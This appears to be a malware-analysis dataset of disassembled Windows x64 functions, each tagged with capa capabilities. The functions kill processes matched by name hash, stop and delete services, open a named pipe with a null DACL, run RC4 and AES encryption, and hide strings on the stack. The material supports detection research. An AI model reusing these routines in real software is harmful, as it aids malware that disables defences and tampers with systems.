joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003824
Capabilities:
Query service status

Disassembly:
push rbp
push rbx
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x78
xor dil, dil
and qword [rbp - 0x48], 0
and qword [rbp - 0x40], 0
xor r8d, r8d
xor edx, edx
call fcn.140008a80
mov qword [rbp - 0x48], rax
call fcn.14000bfcc
mov rcx, rax
test rax, rax
je 0x1400039dc
mov rax, qword [rax]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rbp + 0x30], rax
call fcn.14000bfcc
mov rcx, rax
test rax, rax
je 0x1400039d1
mov rax, qword [rax]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rbp + 0x38], rax
lea rdx, [0x1406bd050]
lea rcx, [rbp + 0x40]
call fcn.1400064d0
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x48]
lea r8, [rbp + 0x38]
lea rdx, [rbp + 0x30]
mov ecx, 1
call fcn.140002c88
test al, al
je 0x14000392c
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
je 0x14000392c
mov r8d, 4
mov rdx, qword [rbp + 0x30]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rsi, rax
test rax, rax
je 0x140003922
and dword [rbp + 0x28], 0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov r9d, Ordinal_41
lea r8, [rbp - 0x38]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140003919
cmp dword [rbp - 0x34], 4
sete dil
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov rdx, qword [rbp + 0x38]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000394b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp + 0x30]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000396a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rax, qword [rbp - 0x48]
mov rbx, qword [rax]
mov qword [rax], rax
mov rax, qword [rbp - 0x48]
mov qword [rax + 8], rax
and qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x48]
cmp rbx, rcx
je 0x1400039c0
mov rsi, qword [rbx]
mov rdx, qword [rbx + 0x10]
sub rdx, 0x18
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400039ac
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
mov rcx, rbx
call fcn.140133ea8
mov rbx, rsi
mov rcx, qword [rbp - 0x48]
cmp rsi, rcx
jne 0x14000398a
call fcn.140133ea8
mov al, dil
add rsp, 0x78
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80004005
call fcn.14000c3ac
nop
mov ecx, 0x80004005
call fcn.14000c3ac
int3
Function at 0x140003ccc
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x260
xor edx, edx
mov dword [rsp + 0x20], 0x238
mov rsi, rcx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140003d60
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
jmp 0x140003d52
lea rdx, [rsp + 0x4c]
mov rcx, rsi
call fcn.1401776c4
test eax, eax
jne 0x140003d45
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x401
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call sub.KERNEL32.dll_Process32NextW
cmp eax, 1
je 0x140003d0b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x140003d78
Capabilities:
Stop service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
call fcn.1400039e8
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbp, rax
test rax, rax
je 0x140003e37
lea r8d, [rbx + 0x20]
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
je 0x140003e14
lea r8, [rsp + 0x20]
mov rcx, rax
lea edx, [rbx + 1]
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x140003df1
mov ecx, 0x7d0
mov bl, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003e09
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.03__d
mov rcx, rsi
mov r8d, eax
call fcn.140008c18
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140003e2c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.02__d
mov rcx, rsi
mov r8d, eax
call fcn.140008c18
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140003e4f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.01__d
mov rcx, rsi
mov r8d, eax
call fcn.140008c18
mov rbp, qword [rsp + 0x58]
mov al, bl
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x140003e68
Capabilities:
Delete service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
je 0x140003ec2
mov r8d, 0xf01ff
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
je 0x140003eb9
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140003ed0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x260
mov rsi, rcx
mov dword [rsp + 0x20], 0x238
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
lea ecx, [rbx + 2]
mov ebp, eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140003f7d
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
jmp 0x140003f6f
lea rdx, [rsp + 0x4c]
mov rcx, rsi
call fcn.1401776c4
mov r8d, dword [rsp + 0x28]
cmp r8d, ebp
je 0x140003f62
test eax, eax
jne 0x140003f62
xor edx, edx
mov ecx, 0x401
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
lea rdx, [rsp + 0x20]
mov rcx, rdi
call sub.KERNEL32.dll_Process32NextW
cmp eax, 1
je 0x140003f1e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x260]
mov eax, ebx
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140013eb0
Capabilities:
Encode data using xor
Enumerate processes
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x260
movsxd rbx, edx
mov rbp, rcx
xor r14b, r14b
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x140013f07
mov dword [rsp + 0x20], 0x238
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x140013f25
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
mov rsi, rbx
xor r12d, r12d
nop dword [rax + rax]
call fcn.14000bfcc
mov rcx, rax
test rax, rax
je 0x14001411a
mov rax, qword [rax]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x2a0], rax
lea rax, [rsp + 0x4c]
cmp rax, 0x10000
jae 0x140013f77
lea rax, [rsp + 0x4c]
movzx edx, ax
lea rcx, [rsp + 0x2a0]
call fcn.140007ce4
jmp 0x140013fa3
lea rcx, [rsp + 0x4c]
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], 0
jne 0x140013f83
mov r8d, eax
lea rdx, [rsp + 0x4c]
lea rcx, [rsp + 0x2a0]
call fcn.140008250
nop
mov rbx, qword [rsp + 0x2a0]
movsxd rdi, dword [rbx - 0x10]
test edi, edi
js 0x14001410f
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, edi
or eax, ecx
jge 0x140013fdf
mov edx, edi
lea rcx, [rsp + 0x2a0]
call fcn.14000816c
mov rbx, qword [rsp + 0x2a0]
lea eax, [rdi + 1]
movsxd rdx, eax
mov rcx, rbx
call fcn.140172eac
cmp edi, dword [rbx - 0xc]
jg 0x14001410f
mov dword [rbx - 0x10], edi
mov word [rbx + rdi*2], r12w
mov ecx, 0xffffffff
cmp byte [rbx], 0
je 0x1400140aa
movzx eax, byte [rbx]
mov rdx, rbx
movzx eax, al
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
neg ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
neg ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
neg ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
neg ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140014012
not ecx
mov rax, r12
test rsi, rsi
jle 0x1400140c7
cmp dword [rbp + rax*4], ecx
je 0x1400140c4
inc rax
cmp rax, rsi
jl 0x1400140b4
jmp 0x1400140c7
mov r14b, 1
lea rdx, [rbx - 0x18]
mov eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400140e3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
test r14b, r14b
jne 0x1400140fd
lea rdx, [rsp + 0x20]
mov rcx, r15
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140013f30
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, r14b
jmp 0x140013f09
mov ecx, 0x80070057
call fcn.14000c3ac
nop
mov ecx, 0x80004005
call fcn.14000c3ac
int3
Function at 0x1400144e0
Capabilities:
Create pipe
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x10], rdx
push rdi
sub rsp, 0x60
movzx esi, r8b
mov rdi, rdx
mov rbx, rcx
cmp dword [rcx + 0x20], 0
je 0x140014509
call fcn.140014b10
cmp rbx, rdi
je 0x140014527
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x14001451b
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rbx
call fcn.1400157e0
test sil, sil
je 0x1400145f3
mov ecx, Ordinal_41
call fcn.14017026c
mov qword [rsp + 0x48], rax
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov dword [rsp + 0x40], Ordinal_30
mov dword [rsp + 0x50], 1
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14001457f
mov rcx, qword [rbx]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
xor esi, esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0x200
mov r9d, VarUI2FromI4
xor r8d, r8d
mov edx, 0x80003
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [rbx + 0x68], rax
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400145c6
call fcn.140170264
cmp qword [rbx + 0x68], 0xffffffffffffffff
jne 0x1400145ea
mov rcx, rdi
call fcn.14000d278
xor al, al
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x88]
add rsp, 0x60
pop rdi
ret
lea r8, [0x140015350]
jmp 0x1400145fc
xor esi, esi
lea r8, [0x1400151e0]
lea rax, [rsp + 0x80]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x80], esi
mov r9, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x58], rax
test rax, rax
je 0x1400145cd
mov dword [rbx + 0x20], 1
mov rcx, rdi
call fcn.14000d278
mov al, 1
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x88]
add rsp, 0x60
pop rdi
ret
Function at 0x140016490
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov edi, r8d
mov rsi, rdx
mov rbx, rcx
xor eax, eax
mov r9d, eax
mov r10d, eax
cmp r10d, edi
jae 0x140016516
inc eax
and eax, 0x800000ff
jge 0x1400164c7
dec eax
or eax, 0xffffff00
inc eax
movsxd r8, eax
movzx r11d, byte [r8 + rbx]
add r9d, r11d
and r9d, 0x800000ff
jge 0x1400164e8
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rdx, r9d
movzx ecx, byte [rdx + rbx]
mov byte [r8 + rbx], cl
mov byte [rdx + rbx], r11b
movzx edx, byte [r8 + rbx]
mov r8d, r10d
add rdx, r11
movzx ecx, dl
movzx edx, byte [rcx + rbx]
xor byte [r8 + rsi], dl
inc r10d
jmp 0x1400164b0
mov al, 1
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
Function at 0x1400182b0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rbx, rdx
lea r9, [rcx + 0xf0]
mov rsi, rcx
test r8d, r8d
je 0x140018329
dec rdi
shr rdi, 4
inc rdi
nop dword [rax]
nop word [rax + rax]
mov rax, rbx
sub r9, rbx
mov edx, reloc.WS2_32.dll_recv
nop dword [rax + rax]
movzx ecx, byte [r9 + rax]
xor byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x140018300
mov rdx, rsi
mov rcx, rbx
call fcn.140018a70
mov r9, rbx
add rbx, 0x10
sub rdi, 1
jne 0x1400182f0
movups xmm0, xmmword [r9]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
movups xmmword [rsi + 0xf0], xmm0
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140018350
Capabilities:
Encode data using xor

Disassembly:
test r8d, r8d
je 0x1400183e4
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x20
mov qword [rsp + 0x30], rdi
mov rbx, rdx
mov rdi, rcx
mov esi, r8d
sub rdi, rdx
mov rbp, rcx
add rdi, 0xf0
dec rsi
shr rsi, 4
inc rsi
nop dword [rax]
movups xmm0, xmmword [rbx]
mov rdx, rbp
mov rcx, rbx
call fcn.140018d70
mov ecx, reloc.WS2_32.dll_recv
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdi + rbx]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x1400183b0
sub rdi, 0x10
movups xmmword [rbp + 0xf0], xmm0
sub rsi, 1
jne 0x140018390
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rsi
ret
Function at 0x140018d70
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rsi, rdx
mov rbx, rcx
sub rsi, rcx
mov r9d, 4
nop dword [rax]
mov r8d, 4
nop word [rax + rax]
movzx eax, byte [rsi + rcx + 0xe0]
xor byte [rcx], al
inc rcx
sub r8, 1
jne 0x140018db0
sub r9, 1
jne 0x140018da0
mov bpl, reloc.WS2_32.dll_listen
lea rdi, [rsi + 0xd0]
lea r14, [0x14026c9d0]
nop word [rax + rax]
movzx eax, byte [rbx + 9]
mov r8, rbx
movzx ecx, byte [rbx + 0xd]
mov r9d, 4
mov byte [rbx + 0xd], al
movzx eax, byte [rbx + 5]
mov byte [rbx + 9], al
movzx eax, byte [rbx + 1]
mov byte [rbx + 5], al
movzx eax, byte [rbx + 0xa]
mov byte [rbx + 1], cl
movzx ecx, byte [rbx + 2]
mov byte [rbx + 2], al
movzx eax, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
movzx ecx, byte [rbx + 6]
mov byte [rbx + 6], al
movzx eax, byte [rbx + 7]
mov byte [rbx + 0xe], cl
movzx ecx, byte [rbx + 3]
mov byte [rbx + 3], al
movzx eax, byte [rbx + 0xb]
mov byte [rbx + 7], al
movzx eax, byte [rbx + 0xf]
mov byte [rbx + 0xb], al
mov byte [rbx + 0xf], cl
nop dword [rax]
mov rcx, r8
mov edx, 4
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 4]
movzx eax, byte [rax + r14]
mov byte [rcx - 4], al
sub rdx, 1
jne 0x140018e50
inc r8
sub r9, 1
jne 0x140018e40
mov rax, rbx
lea r8d, [rdx + 4]
nop word [rax + rax]
mov edx, 4
nop word [rax + rax]
movzx ecx, byte [rdi + rax]
xor byte [rax], cl
inc rax
sub rdx, 1
jne 0x140018e90
sub r8, 1
jne 0x140018e80
mov rcx, rbx
call fcn.140018f90
sub rdi, 0x10
add bpl, 0xff
jne 0x140018de0
movzx eax, byte [rbx + 9]
mov r8, rbx
movzx ecx, byte [rbx + 0xd]
mov r9d, 4
mov byte [rbx + 0xd], al
movzx eax, byte [rbx + 5]
mov byte [rbx + 9], al
movzx eax, byte [rbx + 1]
mov byte [rbx + 5], al
movzx eax, byte [rbx + 0xa]
mov byte [rbx + 1], cl
movzx ecx, byte [rbx + 2]
mov byte [rbx + 2], al
movzx eax, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
movzx ecx, byte [rbx + 6]
mov byte [rbx + 6], al
movzx eax, byte [rbx + 7]
mov byte [rbx + 0xe], cl
movzx ecx, byte [rbx + 3]
mov byte [rbx + 3], al
movzx eax, byte [rbx + 0xb]
mov byte [rbx + 7], al
movzx eax, byte [rbx + 0xf]
mov byte [rbx + 0xb], al
mov byte [rbx + 0xf], cl
nop dword [rax + rax]
mov rcx, r8
mov edx, 4
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 4]
movzx eax, byte [rax + r14]
mov byte [rcx - 4], al
sub rdx, 1
jne 0x140018f30
inc r8
sub r9, 1
jne 0x140018f20
lea edx, [r9 + 4]
mov ecx, 4
nop word [rax + rax]
movzx eax, byte [rbx + rsi]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x140018f60
sub rdx, 1
jne 0x140018f52
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140018f90
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
lea rbp, [rcx + 2]
mov qword [rsp + 0x20], 4
mov qword [rsp + 0x18], rbp
nop word [rax + rax]
movzx r9d, byte [rbp - 1]
movzx edx, byte [rbp - 2]
movzx ebx, r9b
movzx r8d, byte [rbp]
movzx eax, dl
shr al, 7
add bl, bl
movzx ecx, byte [rbp + 1]
movzx eax, al
imul eax, eax, 0x1b
mov byte [rsp + 0x78], r9b
mov byte [rsp + 0x88], dl
add dl, dl
mov byte [rsp + 0x80], r8b
xor dl, al
mov dword [rsp + 8], eax
movzx eax, dl
movzx esi, dl
shr al, 7
add sil, sil
movzx eax, al
imul eax, eax, 0x1b
xor sil, al
mov dword [rsp + 4], eax
movzx eax, r9b
movzx r9d, r8b
shr al, 7
add r9b, r9b
movzx eax, al
imul r15d, eax, 0x1b
xor bl, r15b
movzx eax, bl
movzx r10d, bl
shr al, 7
add r10b, r10b
movzx eax, al
imul eax, eax, 0x1b
xor r10b, al
mov dword [rsp + 0x10], eax
movzx eax, r8b
shr al, 7
movzx eax, al
imul r12d, eax, 0x1b
xor r9b, r12b
mov dword [rsp + 0xc], r12d
movzx eax, r9b
movzx r8d, r9b
shr al, 7
xor r9b, dl
movzx eax, al
add r8b, r8b
imul ebp, eax, 0x1b
movzx eax, cl
shr al, 7
add cl, cl
movzx eax, al
imul eax, eax, 0x1b
xor r8b, bpl
xor cl, al
mov dword [rsp + 0x14], eax
movzx eax, cl
movzx r13d, cl
shr al, 7
add r13b, r13b
movzx eax, al
imul r14d, eax, 0x1b
xor r13b, r14b
xor r9b, r13b
movzx eax, r13b
shr al, 7
xor r9b, r8b
movzx eax, al
xor r9b, r10b
imul edi, eax, 0x1b
xor r9b, sil
movzx eax, r8b
mov byte [rsp], r9b
shr al, 7
movzx eax, al
imul r11d, eax, 0x1b
movzx eax, r10b
shr al, 7
xor r13b, cl
movzx eax, al
xor r13b, r8b
imul r9d, eax, 0x1b
xor r13b, r10b
mov r12, qword [rsp + 0x18]
xor r13b, bl
movzx ebx, byte [rsp + 0x80]
xor r13b, sil
mov rcx, qword [rsp + 0x18]
movzx eax, sil
shr al, 7
movzx esi, byte [rsp + 0x78]
mov r8d, dword [rsp + 0x10]
movzx r10d, byte [rcx + 1]
movzx eax, al
imul edx, eax, 0x1b
movzx eax, byte [rsp]
xor al, byte [rsp + 0x78]
xor al, byte [rsp + 0x88]
add al, al
xor al, dl
xor al, r9b
xor al, r11b
xor al, dil
xor al, bpl
xor al, r15b
xor al, byte [rsp + 4]
xor al, byte [rsp + 8]
xor al, byte [r12 + 1]
xor al, byte [rsp + 0x80]
xor al, byte [rsp + 0x78]
mov byte [r12 - 2], al
movzx eax, r13b
mov r12d, dword [rsp + 0xc]
xor al, bl
xor al, sil
xor r13b, r10b
add al, al
xor al, dl
xor al, r9b
xor al, r11b
xor al, dil
xor al, r14b
xor al, r12b
xor al, r8b
xor al, r15b
movzx r15d, byte [rsp + 0x88]
xor r13b, r15b
xor al, r10b
add r13b, r13b
xor al, bl
xor r13b, dl
xor al, r15b
mov byte [rcx - 1], al
xor r13b, r9b
mov eax, dword [rsp + 0x14]
xor r13b, r11b
movzx ecx, byte [rsp]
xor r13b, dil
xor cl, r10b
xor r13b, r14b
xor cl, bl
xor r13b, al
add cl, cl
xor r13b, r8b
xor cl, dl
xor cl, r9b
xor cl, r11b
xor cl, dil
xor cl, al
xor cl, bpl
mov rbp, qword [rsp + 0x18]
xor cl, r12b
xor cl, byte [rsp + 4]
xor cl, r10b
xor cl, sil
xor cl, r15b
xor r13b, byte [rsp + 8]
mov byte [rbp], cl
xor r13b, bl
xor r13b, sil
xor r13b, r15b
mov byte [rbp + 1], r13b
add rbp, 4
sub qword [rsp + 0x20], 1
mov qword [rsp + 0x18], rbp
jne 0x140018fc0
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001bdd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
xor eax, eax
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rcx], rax
mov rbx, rcx
mov qword [rcx + 0x10], rax
mov r8, 0xffffffffffffffff
mov byte [rcx], al
lea rax, [rbp - 0x20]
mov word [rbp - 0x20], 0x626f
mov word [rbp - 0x17], 0x6c64
mov word [rbp - 0x1d], 0x6f77
mov word [rbp - 0x1a], 0x636a
mov word [rbp - 0x11], 0x656d
mov byte [rbp - 0x18], 0x67
mov dword [rbp - 0xc], 0x637370
mov word [rbp - 0x14], 0x6371
mov byte [rbp - 0x1b], 0x61
mov word [rbp - 0xf], 0x6d73
mov byte [rbp - 0x1e], 0x61
mov byte [rbp - 0x12], 0x6b
mov byte [rbp - 0xd], WSAGetLastError
mov byte [rbp - 0x15], 0x61
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001be50
lea rdx, [rbp - 0x20]
call fcn.1400157e0
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x14001be80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rcx], rax
mov rbx, rcx
mov qword [rcx + 0x10], rax
mov r8, 0xffffffffffffffff
mov byte [rcx], al
lea rax, [rsp + 0x20]
mov dword [rsp + 0x20], 0x31383631
mov dword [rsp + 0x25], 0x31363439
mov byte [rsp + 0x24], reloc.WS2_32.dll_gethostname
mov word [rsp + 0x29], reloc.WLDAP32.dll_Ordinal_50
inc r8
cmp byte [rax + r8], 0
jne 0x14001bec4
lea rdx, [rsp + 0x20]
call fcn.1400157e0
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14001c800
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
xor eax, eax
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rcx], rax
mov rbx, rcx
mov qword [rcx + 0x10], rax
mov r8, 0xffffffffffffffff
mov byte [rcx], al
lea rax, [rbp - 0x30]
mov word [rbp - 0x1d], 0x6666
mov dword [rbp - 0x2b], 0x38373065
mov word [rbp - 0x23], 0x3166
mov word [rbp - 0x14], 0x6634
mov word [rbp - 0x1a], 0x3665
mov word [rbp - 0x20], 0x6233
mov word [rbp - 0x17], 0x6235
mov dword [rbp - 0x27], 0x35363963
mov byte [rbp - 0x1b], Ordinal_50
mov byte [rbp - 0x18], Ordinal_50
mov byte [rbp - 0x21], reloc.WLDAP32.dll_Ordinal_50
mov word [rbp - 0x12], 0x6432
mov dword [rbp - 0x2f], 0x64633733
mov byte [rbp - 0x15], Ordinal_50
mov byte [rbp - 0x1e], reloc.WS2_32.dll_gethostname
mov byte [rbp - 0x10], 0
mov byte [rbp - Ordinal_50], 0x30
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001c890
lea rdx, [rbp - 0x30]
call fcn.1400157e0
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret